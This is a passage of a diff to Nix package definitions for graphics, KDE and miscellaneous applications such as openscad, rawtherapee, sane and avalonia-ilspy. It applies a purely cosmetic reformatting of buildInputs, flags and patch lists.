-    ])
-    ++ (lib.optionals withQVoronoi [
-      qhull
-    ]);
+  buildInputs = [
+    cairo
+    freetype
+    ghostscript
+    gsl
+    libjpeg
+    libpng
+    libspiro
+    lua5
+    qtbase
+    qtsvg
+    zlib
+  ]
+  ++ (lib.optionals withTeXLive [
+    texliveSmall
+  ])
+  ++ (lib.optionals withQVoronoi [
+    qhull
+  ]);
 
-  makeFlags =
-    [
-      "-C src"
-      "IPEPREFIX=${placeholder "out"}"
-      "LUA_PACKAGE=lua"
-      "MOC=${buildPackages.qt6Packages.qtbase}/libexec/moc"
-      "IPE_NO_SPELLCHECK=1" # qtSpell is not yet packaged
-    ]
-    ++ (lib.optionals withQVoronoi [
-      "IPEQVORONOI=1"
-      "QHULL_CFLAGS=-I${qhull}/include/libqhull_r"
-    ]);
+  makeFlags = [
+    "-C src"
+    "IPEPREFIX=${placeholder "out"}"
+    "LUA_PACKAGE=lua"
+    "MOC=${buildPackages.qt6Packages.qtbase}/libexec/moc"
+    "IPE_NO_SPELLCHECK=1" # qtSpell is not yet packaged
+  ]
+  ++ (lib.optionals withQVoronoi [
+    "IPEQVORONOI=1"
+    "QHULL_CFLAGS=-I${qhull}/include/libqhull_r"
+  ]);
 
   qtWrapperArgs = lib.optionals withTeXLive [ "--prefix PATH : ${lib.makeBinPath [ texliveSmall ]}" ];
 
diff --git a/pkgs/applications/graphics/mandelbulber/default.nix b/pkgs/applications/graphics/mandelbulber/default.nix
index e57017bb6a34..1fabccbcd79f 100644
--- a/pkgs/applications/graphics/mandelbulber/default.nix
+++ b/pkgs/applications/graphics/mandelbulber/default.nix
@@ -31,19 +31,18 @@ stdenv.mkDerivation rec {
     libsForQt5.wrapQtAppsHook
     libsForQt5.qttools
   ];
-  buildInputs =
-    [
-      libsForQt5.qtbase
-      libsForQt5.qtmultimedia
-      libpng
-      gsl
-      libsndfile
-      lzo
-    ]
-    ++ lib.optionals withOpenCL [
-      opencl-clhpp
-      ocl-icd
-    ];
+  buildInputs = [
+    libsForQt5.qtbase
+    libsForQt5.qtmultimedia
+    libpng
+    gsl
+    libsndfile
+    lzo
+  ]
+  ++ lib.optionals withOpenCL [
+    opencl-clhpp
+    ocl-icd
+  ];
 
   sourceRoot = "${src.name}/mandelbulber2";
 
diff --git a/pkgs/applications/graphics/nufraw/default.nix b/pkgs/applications/graphics/nufraw/default.nix
index 58624aa5199d..4cc234d9c138 100644
--- a/pkgs/applications/graphics/nufraw/default.nix
+++ b/pkgs/applications/graphics/nufraw/default.nix
@@ -63,23 +63,22 @@ stdenv.mkDerivation rec {
     substituteAll ${./nufraw.thumbnailer} $out/share/thumbnailers/${pname}.thumbnailer
   '';
 
-  patches =
-    [
-      # Fixes an upstream issue where headers with templates were included in an extern-C scope
-      # which caused the build to fail
-      (fetchpatch {
-        name = "0001-nufraw-glib-2.70.patch";
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/gimp-nufraw/-/raw/3405bc864752dbd04f2d182a21b4108d6cc3aa95/0001-nufraw-glib-2.70.patch";
-        hash = "sha256-XgzgjikWTcqymHa7bKmruNZaeb2/lpN19HXoRUt5rTk=";
-      })
-    ]
-    ++ lib.optionals (lib.versionAtLeast exiv2.version "0.28") [
-      (fetchpatch {
-        name = "0002-exiv2-error.patch";
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/gimp-nufraw/-/raw/3405bc864752dbd04f2d182a21b4108d6cc3aa95/0002-exiv2-error.patch";
-        hash = "sha256-40/Wwk1sWiaIWp077EYgP8jFO4k1cvf30heRDMYJw3M=";
-      })
-    ];
+  patches = [
+    # Fixes an upstream issue where headers with templates were included in an extern-C scope
+    # which caused the build to fail
+    (fetchpatch {
+      name = "0001-nufraw-glib-2.70.patch";
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/gimp-nufraw/-/raw/3405bc864752dbd04f2d182a21b4108d6cc3aa95/0001-nufraw-glib-2.70.patch";
+      hash = "sha256-XgzgjikWTcqymHa7bKmruNZaeb2/lpN19HXoRUt5rTk=";
+    })
+  ]
+  ++ lib.optionals (lib.versionAtLeast exiv2.version "0.28") [
+    (fetchpatch {
+      name = "0002-exiv2-error.patch";
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/gimp-nufraw/-/raw/3405bc864752dbd04f2d182a21b4108d6cc3aa95/0002-exiv2-error.patch";
+      hash = "sha256-40/Wwk1sWiaIWp077EYgP8jFO4k1cvf30heRDMYJw3M=";
+    })
+  ];
 
   meta = with lib; {
     homepage = "https://nufraw.sourceforge.io/";
diff --git a/pkgs/applications/graphics/openscad/default.nix b/pkgs/applications/graphics/openscad/default.nix
index f4d8d03de2d3..1609c8b42565 100644
--- a/pkgs/applications/graphics/openscad/default.nix
+++ b/pkgs/applications/graphics/openscad/default.nix
@@ -94,48 +94,46 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      eigen
-      boost
-      glew
-      opencsg
-      cgal
-      mpfr
-      gmp
-      glib
-      harfbuzz
-      lib3mf
-      libzip
-      double-conversion
-      freetype
-      fontconfig
-      libsForQt5.qtbase
-      libsForQt5.qtmultimedia
-      libsForQt5.qscintilla
-      cairo
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGLU
-      libGL
-      wayland
-      wayland-protocols
-      libsForQt5.qtwayland
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin libsForQt5.qtmacextras
-    ++ lib.optional spacenavSupport libspnav;
+  buildInputs = [
+    eigen
+    boost
+    glew
+    opencsg
+    cgal
+    mpfr
+    gmp
+    glib
+    harfbuzz
+    lib3mf
+    libzip
+    double-conversion
+    freetype
+    fontconfig
+    libsForQt5.qtbase
+    libsForQt5.qtmultimedia
+    libsForQt5.qscintilla
+    cairo
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGLU
+    libGL
+    wayland
+    wayland-protocols
+    libsForQt5.qtwayland
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libsForQt5.qtmacextras
+  ++ lib.optional spacenavSupport libspnav;
 
-  qmakeFlags =
-    [
-      "VERSION=${version}"
-      "LIB3MF_INCLUDEPATH=${lib3mf.dev}/include/lib3mf/Bindings/Cpp"
-      "LIB3MF_LIBPATH=${lib3mf}/lib"
-    ]
-    ++ lib.optionals spacenavSupport [
-      "ENABLE_SPNAV=1"
-      "SPNAV_INCLUDEPATH=${libspnav}/include"
-      "SPNAV_LIBPATH=${libspnav}/lib"
-    ];
+  qmakeFlags = [
+    "VERSION=${version}"
+    "LIB3MF_INCLUDEPATH=${lib3mf.dev}/include/lib3mf/Bindings/Cpp"
+    "LIB3MF_LIBPATH=${lib3mf}/lib"
+  ]
+  ++ lib.optionals spacenavSupport [
+    "ENABLE_SPNAV=1"
+    "SPNAV_INCLUDEPATH=${libspnav}/include"
+    "SPNAV_LIBPATH=${libspnav}/lib"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/graphics/pixinsight/default.nix b/pkgs/applications/graphics/pixinsight/default.nix
index b2edec42104f..212512ef17b9 100644
--- a/pkgs/applications/graphics/pixinsight/default.nix
+++ b/pkgs/applications/graphics/pixinsight/default.nix
@@ -61,59 +61,58 @@ stdenv.mkDerivation (finalAttrs: {
     bubblewrap
   ];
 
-  buildInputs =
-    [
-      (lib.getLib stdenv.cc.cc)
-      stdenv.cc
-      libGL
-      libpulseaudio
-      alsa-lib
-      nss
-      gd
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      nspr
-      expat
-      fontconfig
-      dbus
-      glib
-      zlib
-      openssl
-      libdrm
-      wayland
-      cups
-      avahi-compat
-      libjpeg8
-      gdk-pixbuf
-      gtk3
-      pango
-      # Qt stuff
-      qt6Packages.qt3d
-      qt6Packages.mlt
-      qt6Packages.qtbase
-      #qtgamepad
-      qt6Packages.qtserialport
-      qt6Packages.qtserialbus
-      qt6Packages.qtvirtualkeyboard
-      qt6Packages.qtmultimedia
-      qt6Packages.qtlocation
-      qt6Packages.qtwebengine
-      qt6Packages.qtquick3d
-      qt6Packages.qtwayland
-      qt6Packages.qtwebview
-      qt6Packages.qtscxml
-    ]
-    ++ (with xorg; [
-      libX11
-      libXdamage
-      xrandr
-      libXtst
-      libXcomposite
-      libXext
-      libXfixes
-      libXrandr
-      libxkbfile
-    ]);
+  buildInputs = [
+    (lib.getLib stdenv.cc.cc)
+    stdenv.cc
+    libGL
+    libpulseaudio
+    alsa-lib
+    nss
+    gd
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    nspr
+    expat
+    fontconfig
+    dbus
+    glib
+    zlib
+    openssl
+    libdrm
+    wayland
+    cups
+    avahi-compat
+    libjpeg8
+    gdk-pixbuf
+    gtk3
+    pango
+    # Qt stuff
+    qt6Packages.qt3d
+    qt6Packages.mlt
+    qt6Packages.qtbase
+    #qtgamepad
+    qt6Packages.qtserialport
+    qt6Packages.qtserialbus
+    qt6Packages.qtvirtualkeyboard
+    qt6Packages.qtmultimedia
+    qt6Packages.qtlocation
+    qt6Packages.qtwebengine
+    qt6Packages.qtquick3d
+    qt6Packages.qtwayland
+    qt6Packages.qtwebview
+    qt6Packages.qtscxml
+  ]
+  ++ (with xorg; [
+    libX11
+    libXdamage
+    xrandr
+    libXtst
+    libXcomposite
+    libXext
+    libXfixes
+    libXrandr
+    libxkbfile
+  ]);
 
   postPatch = ''
     patchelf ./installer \
diff --git a/pkgs/applications/graphics/qview/default.nix b/pkgs/applications/graphics/qview/default.nix
index a3b29c425fe7..af067b6f2d6d 100644
--- a/pkgs/applications/graphics/qview/default.nix
+++ b/pkgs/applications/graphics/qview/default.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation rec {
     libsForQt5.qttools
     libsForQt5.qtimageformats
     libsForQt5.qtsvg
-  ] ++ lib.optionals x11Support [ libsForQt5.qtx11extras ];
+  ]
+  ++ lib.optionals x11Support [ libsForQt5.qtx11extras ];
 
   meta = with lib; {
     description = "Practical and minimal image viewer";
diff --git a/pkgs/applications/graphics/rawtherapee/default.nix b/pkgs/applications/graphics/rawtherapee/default.nix
index 378706775928..d886d8e7cf8f 100644
--- a/pkgs/applications/graphics/rawtherapee/default.nix
+++ b/pkgs/applications/graphics/rawtherapee/default.nix
@@ -55,61 +55,58 @@ stdenv.mkDerivation rec {
       --replace "/Applications" "${placeholder "out"}/Applications"
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      makeWrapper
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    makeWrapper
+  ];
 
-  buildInputs =
-    [
-      util-linux
-      libselinux
-      libsepol
-      lerc
-      libthai
-      libdatrie
-      libxkbcommon
-      libepoxy
-      libXtst
-      pixman
-      libpthreadstubs
-      gtkmm3
-      libXau
-      libXdmcp
-      lcms2
-      libiptcdata
-      fftw
-      expat
-      pcre2
-      libsigcxx
-      lensfun
-      librsvg
-      exiv2
-      libraw
-      libjxl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcanberra-gtk3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gtk-mac-integration
-    ];
+  buildInputs = [
+    util-linux
+    libselinux
+    libsepol
+    lerc
+    libthai
+    libdatrie
+    libxkbcommon
+    libepoxy
+    libXtst
+    pixman
+    libpthreadstubs
+    gtkmm3
+    libXau
+    libXdmcp
+    lcms2
+    libiptcdata
+    fftw
+    expat
+    pcre2
+    libsigcxx
+    lensfun
+    librsvg
+    exiv2
+    libraw
+    libjxl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcanberra-gtk3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gtk-mac-integration
+  ];
 
-  cmakeFlags =
-    [
-      "-DPROC_TARGET_NUMBER=2"
-      "-DCACHE_NAME_SUFFIX=\"\""
-      "-DWITH_SYSTEM_LIBRAW=\"ON\""
-      "-DWITH_JXL=\"ON\""
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DCMAKE_OSX_DEPLOYMENT_TARGET=${stdenv.hostPlatform.darwinMinVersion}"
-    ];
+  cmakeFlags = [
+    "-DPROC_TARGET_NUMBER=2"
+    "-DCACHE_NAME_SUFFIX=\"\""
+    "-DWITH_SYSTEM_LIBRAW=\"ON\""
+    "-DWITH_JXL=\"ON\""
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DCMAKE_OSX_DEPLOYMENT_TARGET=${stdenv.hostPlatform.darwinMinVersion}"
+  ];
 
   CMAKE_CXX_FLAGS = toString [
     "-std=c++11"
diff --git a/pkgs/applications/graphics/sane/backends/default.nix b/pkgs/applications/graphics/sane/backends/default.nix
index 2777e107511a..ae9005d5de92 100644
--- a/pkgs/applications/graphics/sane/backends/default.nix
+++ b/pkgs/applications/graphics/sane/backends/default.nix
@@ -94,32 +94,32 @@ stdenv.mkDerivation rec {
     python3
   ];
 
-  buildInputs =
-    [
-      avahi
-      libgphoto2
-      libjpeg
-      libpng
-      libtiff
-      libusb1
-      curl
-      libxml2
-      poppler
-      gawk
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libieee1284
-      libv4l
-      net-snmp
-      systemd
-    ];
+  buildInputs = [
+    avahi
+    libgphoto2
+    libjpeg
+    libpng
+    libtiff
+    libusb1
+    curl
+    libxml2
+    poppler
+    gawk
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libieee1284
+    libv4l
+    net-snmp
+    systemd
+  ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [ "--with-lockdir=/var/lock/sane" ]
-    ++ lib.optional (avahi != null) "--with-avahi"
-    ++ lib.optional (libusb1 != null) "--with-usb";
+  configureFlags = [
+    "--with-lockdir=/var/lock/sane"
+  ]
+  ++ lib.optional (avahi != null) "--with-avahi"
+  ++ lib.optional (libusb1 != null) "--with-usb";
 
   # autoconf check for HAVE_MMAP is never set on cross compilation.
   # The pieusb backend fails compilation if HAVE_MMAP is not set.
diff --git a/pkgs/applications/graphics/sane/config.nix b/pkgs/applications/graphics/sane/config.nix
index 07cb0736690b..1d85bd850efb 100644
--- a/pkgs/applications/graphics/sane/config.nix
+++ b/pkgs/applications/graphics/sane/config.nix
@@ -39,18 +39,17 @@ stdenv.mkDerivation {
   name = "sane-config";
   dontUnpack = true;
 
-  installPhase =
-    ''
-      function symlink () {
-        local target=$1 linkname=$2
-        if [ -e "$linkname" ]; then
-          echo "warning: conflict for $linkname. Overriding $(readlink $linkname) with $target."
-        fi
-        ln -sfn "$target" "$linkname"
-      }
+  installPhase = ''
+    function symlink () {
+      local target=$1 linkname=$2
+      if [ -e "$linkname" ]; then
+        echo "warning: conflict for $linkname. Overriding $(readlink $linkname) with $target."
+      fi
+      ln -sfn "$target" "$linkname"
+    }
 
-      mkdir -p $out/etc/sane.d $out/etc/sane.d/dll.d $out/lib/sane
-    ''
-    + (lib.concatMapStrings installSanePath paths)
-    + (lib.concatMapStrings disableBackend disabledDefaultBackends);
+    mkdir -p $out/etc/sane.d $out/etc/sane.d/dll.d $out/lib/sane
+  ''
+  + (lib.concatMapStrings installSanePath paths)
+  + (lib.concatMapStrings disableBackend disabledDefaultBackends);
 }
diff --git a/pkgs/applications/graphics/sane/frontends.nix b/pkgs/applications/graphics/sane/frontends.nix
index 280b0b846368..a4615d6cc625 100644
--- a/pkgs/applications/graphics/sane/frontends.nix
+++ b/pkgs/applications/graphics/sane/frontends.nix
@@ -65,7 +65,8 @@ stdenv.mkDerivation rec {
     sane-backends
     libX11
     gtk2
-  ] ++ lib.optional (libusb-compat-0_1 != null) libusb-compat-0_1;
+  ]
+  ++ lib.optional (libusb-compat-0_1 != null) libusb-compat-0_1;
   nativeBuildInputs = [ pkg-config ];
 
   enableParallelBuilding = true;
diff --git a/pkgs/applications/graphics/sane/xsane.nix b/pkgs/applications/graphics/sane/xsane.nix
index ab07837bc678..d575092d9bf3 100644
--- a/pkgs/applications/graphics/sane/xsane.nix
+++ b/pkgs/applications/graphics/sane/xsane.nix
@@ -123,7 +123,8 @@ stdenv.mkDerivation rec {
     sane-frontends
     libX11
     gtk2
-  ] ++ lib.optional gimpSupport gimp;
+  ]
+  ++ lib.optional gimpSupport gimp;
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/applications/graphics/yacreader/default.nix b/pkgs/applications/graphics/yacreader/default.nix
index f47f5a0a022f..7d50265ca33d 100644
--- a/pkgs/applications/graphics/yacreader/default.nix
+++ b/pkgs/applications/graphics/yacreader/default.nix
@@ -36,18 +36,17 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libGLU
-      libsForQt5.poppler
-      libsForQt5.qtgraphicaleffects # imported, but not declared as a dependency
-      libsForQt5.qtmultimedia
-      libsForQt5.qtquickcontrols2
-      libunarr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libsForQt5.qtmacextras # can be removed when using qt6
-    ];
+  buildInputs = [
+    libGLU
+    libsForQt5.poppler
+    libsForQt5.qtgraphicaleffects # imported, but not declared as a dependency
+    libsForQt5.qtmultimedia
+    libsForQt5.qtquickcontrols2
+    libunarr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libsForQt5.qtmacextras # can be removed when using qt6
+  ];
 
   # custom Darwin install instructions taken from the upsteam compileOSX.sh script
   installPhase = lib.optionalString stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/applications/kde/ark/default.nix b/pkgs/applications/kde/ark/default.nix
index 931282c7f282..3a3a5810e8b7 100644
--- a/pkgs/applications/kde/ark/default.nix
+++ b/pkgs/applications/kde/ark/default.nix
@@ -33,7 +33,8 @@ let
     p7zip
     lrzip
     unar
-  ] ++ lib.optional unfreeEnableUnrar unrar;
+  ]
+  ++ lib.optional unfreeEnableUnrar unrar;
 in
 
 mkDerivation {
@@ -52,7 +53,8 @@ mkDerivation {
   buildInputs = [
     libarchive
     libzip
-  ] ++ extraTools;
+  ]
+  ++ extraTools;
 
   propagatedBuildInputs = [
     breeze-icons
diff --git a/pkgs/applications/kde/audiotube.nix b/pkgs/applications/kde/audiotube.nix
index 9bd199d99296..f2b815c9699d 100644
--- a/pkgs/applications/kde/audiotube.nix
+++ b/pkgs/applications/kde/audiotube.nix
@@ -30,27 +30,26 @@ mkDerivation rec {
     python3Packages.pybind11
   ];
 
-  buildInputs =
-    [
-      futuresql
-      kcoreaddons
-      kcrash
-      ki18n
-      kirigami2
-      kirigami-addons
-      kpurpose
-      qcoro
-      qtimageformats
-      qtmultimedia
-      qtquickcontrols2
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gstreamer
-    ])
-    ++ pythonPath;
+  buildInputs = [
+    futuresql
+    kcoreaddons
+    kcrash
+    ki18n
+    kirigami2
+    kirigami-addons
+    kpurpose
+    qcoro
+    qtimageformats
+    qtmultimedia
+    qtquickcontrols2
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gstreamer
+  ])
+  ++ pythonPath;
 
   pythonPath = with python3Packages; [
     yt-dlp
diff --git a/pkgs/applications/kde/cantor.nix b/pkgs/applications/kde/cantor.nix
index 6af2b207ed41..cd9d8751ba8c 100644
--- a/pkgs/applications/kde/cantor.nix
+++ b/pkgs/applications/kde/cantor.nix
@@ -64,46 +64,46 @@ mkDerivation {
     qttools
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-      qtwebengine
-      qtxmlpatterns
+  buildInputs = [
+    qtbase
+    qtsvg
+    qtwebengine
+    qtxmlpatterns
 
-      poppler
+    poppler
 
-      karchive
-      kcompletion
-      kconfig
-      kcoreaddons
-      kcrash
-      kdoctools
-      ki18n
-      kiconthemes
-      kio
-      knewstuff
-      kparts
-      kpty
-      ktexteditor
-      ktextwidgets
-      kxmlgui
-      syntax-highlighting
+    karchive
+    kcompletion
+    kconfig
+    kcoreaddons
+    kcrash
+    kdoctools
+    ki18n
+    kiconthemes
+    kio
+    knewstuff
+    kparts
+    kpty
+    ktexteditor
+    ktextwidgets
+    kxmlgui
+    syntax-highlighting
 
-      libspectre
-    ]
-    # backends
-    ++ lib.optional withAnalitza analitza
-    ++ lib.optional wtihJulia julia
-    ++ lib.optional withQalculate libqalculate
-    ++ lib.optional withLua luajit
-    ++ lib.optional withPython python3
-    ++ lib.optional withR R
-    ++ lib.optional withSage sage-with-env;
+    libspectre
+  ]
+  # backends
+  ++ lib.optional withAnalitza analitza
+  ++ lib.optional wtihJulia julia
+  ++ lib.optional withQalculate libqalculate
+  ++ lib.optional withLua luajit
+  ++ lib.optional withPython python3
+  ++ lib.optional withR R
+  ++ lib.optional withSage sage-with-env;
 
   qtWrapperArgs = [
     "--prefix PATH : ${placeholder "out"}/bin"
-  ] ++ lib.optional withSage "--prefix PATH : ${sage-with-env}/bin";
+  ]
+  ++ lib.optional withSage "--prefix PATH : ${sage-with-env}/bin";
 
   # Causes failures on Hydra and ofborg from some reason
   enableParallelBuilding = false;
diff --git a/pkgs/applications/kde/falkon.nix b/pkgs/applications/kde/falkon.nix
index c1dca31d9f2a..e696acd20077 100644
--- a/pkgs/applications/kde/falkon.nix
+++ b/pkgs/applications/kde/falkon.nix
@@ -42,7 +42,8 @@ mkDerivation {
     kpurpose
     karchive
     kio
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/applications/kde/okular.nix b/pkgs/applications/kde/okular.nix
index d604b800d7ba..10ed1ebb0a96 100644
--- a/pkgs/applications/kde/okular.nix
+++ b/pkgs/applications/kde/okular.nix
@@ -84,7 +84,8 @@ mkDerivation {
     kcrash
     chmlib
     qtx11extras
-  ] ++ lib.optional withSpeech qtspeech;
+  ]
+  ++ lib.optional withSpeech qtspeech;
 
   # InitialPreference values are too high and end up making okular
   # default for anything considered text/plain. Resetting to 1, which
diff --git a/pkgs/applications/kde/plasmatube/default.nix b/pkgs/applications/kde/plasmatube/default.nix
index c36554b5705d..b9f4602a731f 100644
--- a/pkgs/applications/kde/plasmatube/default.nix
+++ b/pkgs/applications/kde/plasmatube/default.nix
@@ -22,22 +22,21 @@ mkDerivation {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      kcoreaddons
-      kdeclarative
-      ki18n
-      kirigami2
-      mpv
-      qtmultimedia
-      qtquickcontrols2
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gstreamer
-    ]);
+  buildInputs = [
+    kcoreaddons
+    kdeclarative
+    ki18n
+    kirigami2
+    mpv
+    qtmultimedia
+    qtquickcontrols2
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gstreamer
+  ]);
 
   qtWrapperArgs = [
     "--prefix"
diff --git a/pkgs/applications/maui/booth.nix b/pkgs/applications/maui/booth.nix
index adf9a1b68cdf..d38f4b47dfbb 100644
--- a/pkgs/applications/maui/booth.nix
+++ b/pkgs/applications/maui/booth.nix
@@ -23,24 +23,23 @@ mkDerivation {
     extra-cmake-modules
   ];
 
-  buildInputs =
-    [
-      kcoreaddons
-      ki18n
-      kirigami2
-      mauikit
-      mauikit-filebrowsing
-      prison
-      qtgraphicaleffects
-      qtmultimedia
-      qtquickcontrols2
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gstreamer
-    ]);
+  buildInputs = [
+    kcoreaddons
+    ki18n
+    kirigami2
+    mauikit
+    mauikit-filebrowsing
+    prison
+    qtgraphicaleffects
+    qtmultimedia
+    qtquickcontrols2
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gstreamer
+  ]);
 
   preFixup = ''
     qtWrapperArgs+=(
diff --git a/pkgs/applications/misc/actiona/default.nix b/pkgs/applications/misc/actiona/default.nix
index 069473ce3c0f..71873f87a84f 100644
--- a/pkgs/applications/misc/actiona/default.nix
+++ b/pkgs/applications/misc/actiona/default.nix
@@ -47,15 +47,14 @@ stdenv.mkDerivation (finalAttrs: {
     fetchSubmodules = true;
   };
 
-  patches =
-    [
-      # Sets the proper search location for the `.so` files and the translations
-      ./fix-paths.patch
-    ]
-    ++ lib.optionals (!textToSpeechSupport) [
-      # Removes TTS support
-      ./disable-tts.patch
-    ];
+  patches = [
+    # Sets the proper search location for the `.so` files and the translations
+    ./fix-paths.patch
+  ]
+  ++ lib.optionals (!textToSpeechSupport) [
+    # Removes TTS support
+    ./disable-tts.patch
+  ];
 
   postPatch = ''
     substituteInPlace gui/src/mainwindow.cpp executer/src/executer.cpp tools/src/languages.cpp \
@@ -80,7 +79,8 @@ stdenv.mkDerivation (finalAttrs: {
     qttools
     qtx11extras
     qtxmlpatterns
-  ] ++ lib.optionals textToSpeechSupport [ qtspeech ];
+  ]
+  ++ lib.optionals textToSpeechSupport [ qtspeech ];
 
   # RPATH of binary /nix/store/.../bin/... contains a forbidden reference to /build/
   cmakeFlags = [ (lib.cmakeBool "CMAKE_SKIP_BUILD_RPATH" true) ];
diff --git a/pkgs/applications/misc/avalonia-ilspy/default.nix b/pkgs/applications/misc/avalonia-ilspy/default.nix
index 69aeb11e2bbd..45e3a7f02b70 100644
--- a/pkgs/applications/misc/avalonia-ilspy/default.nix
+++ b/pkgs/applications/misc/avalonia-ilspy/default.nix
@@ -39,18 +39,17 @@ buildDotnetModule rec {
     ./dotnet-8-upgrade.patch
   ];
 
-  nativeBuildInputs =
-    [
-      copyDesktopItems
-      icoutils
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      bintools
-      fixDarwinDylibNames
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    copyDesktopItems
+    icoutils
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    bintools
+    fixDarwinDylibNames
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ];
 
   buildInputs = [
     # Dependencies of nuget packages w/ native binaries
@@ -71,20 +70,19 @@ buildDotnetModule rec {
     glew
   ];
 
-  postInstall =
-    ''
-      icotool --icon -x ILSpy/ILSpy.ico
-      for i in 16 32 48 256; do
-        size=''${i}x''${i}
-        install -Dm444 *_''${size}x32.png $out/share/icons/hicolor/$size/apps/ILSpy.png
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install -Dm444 ILSpy/Info.plist $out/Applications/ILSpy.app/Contents/Info.plist
-      install -Dm444 ILSpy/ILSpy.icns $out/Applications/ILSpy.app/Contents/Resources/ILSpy.icns
-      mkdir -p $out/Applications/ILSpy.app/Contents/MacOS
-      ln -s $out/bin/ILSpy $out/Applications/ILSpy.app/Contents/MacOS/ILSpy
-    '';
+  postInstall = ''
+    icotool --icon -x ILSpy/ILSpy.ico
+    for i in 16 32 48 256; do
+      size=''${i}x''${i}
+      install -Dm444 *_''${size}x32.png $out/share/icons/hicolor/$size/apps/ILSpy.png
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install -Dm444 ILSpy/Info.plist $out/Applications/ILSpy.app/Contents/Info.plist
+    install -Dm444 ILSpy/ILSpy.icns $out/Applications/ILSpy.app/Contents/Resources/ILSpy.icns
+    mkdir -p $out/Applications/ILSpy.app/Contents/MacOS
+    ln -s $out/bin/ILSpy $out/Applications/ILSpy.app/Contents/MacOS/ILSpy
+  '';
 
   dotnet-sdk = dotnetCorePackages.sdk_8_0;
 
diff --git a/pkgs/applications/misc/clight/clightd.nix b/pkgs/applications/misc/clight/clightd.nix
index 39d442fab648..53678a29813e 100644
--- a/pkgs/applications/misc/clight/clightd.nix
+++ b/pkgs/applications/misc/clight/clightd.nix
@@ -49,18 +49,17 @@ stdenv.mkDerivation rec {
     sed -i "s@pkg_get_variable(POLKIT_ACTION_DIR.*@set(POLKIT_ACTION_DIR $POLKIT_ACTION_DIR)@" CMakeLists.txt
   '';
 
-  cmakeFlags =
-    [
-      "-DSYSTEMD_SERVICE_DIR=${placeholder "out"}/lib/systemd/system"
-      "-DDBUS_CONFIG_DIR=${placeholder "out"}/etc/dbus-1/system.d"
-      # systemd.pc has prefix=${systemd.out}
-      "-DMODULE_LOAD_DIR=${placeholder "out"}/lib/modules-load.d"
-    ]
-    ++ lib.optional enableDdc "-DENABLE_DDC=1"
-    ++ lib.optional enableDpms "-DENABLE_DPMS=1"
-    ++ lib.optional enableGamma "-DENABLE_GAMMA=1"
-    ++ lib.optional enableScreen "-DENABLE_SCREEN=1"
-    ++ lib.optional enableYoctolight "-DENABLE_YOCTOLIGHT=1";
+  cmakeFlags = [
+    "-DSYSTEMD_SERVICE_DIR=${placeholder "out"}/lib/systemd/system"
+    "-DDBUS_CONFIG_DIR=${placeholder "out"}/etc/dbus-1/system.d"
+    # systemd.pc has prefix=${systemd.out}
+    "-DMODULE_LOAD_DIR=${placeholder "out"}/lib/modules-load.d"
+  ]
+  ++ lib.optional enableDdc "-DENABLE_DDC=1"
+  ++ lib.optional enableDpms "-DENABLE_DPMS=1"
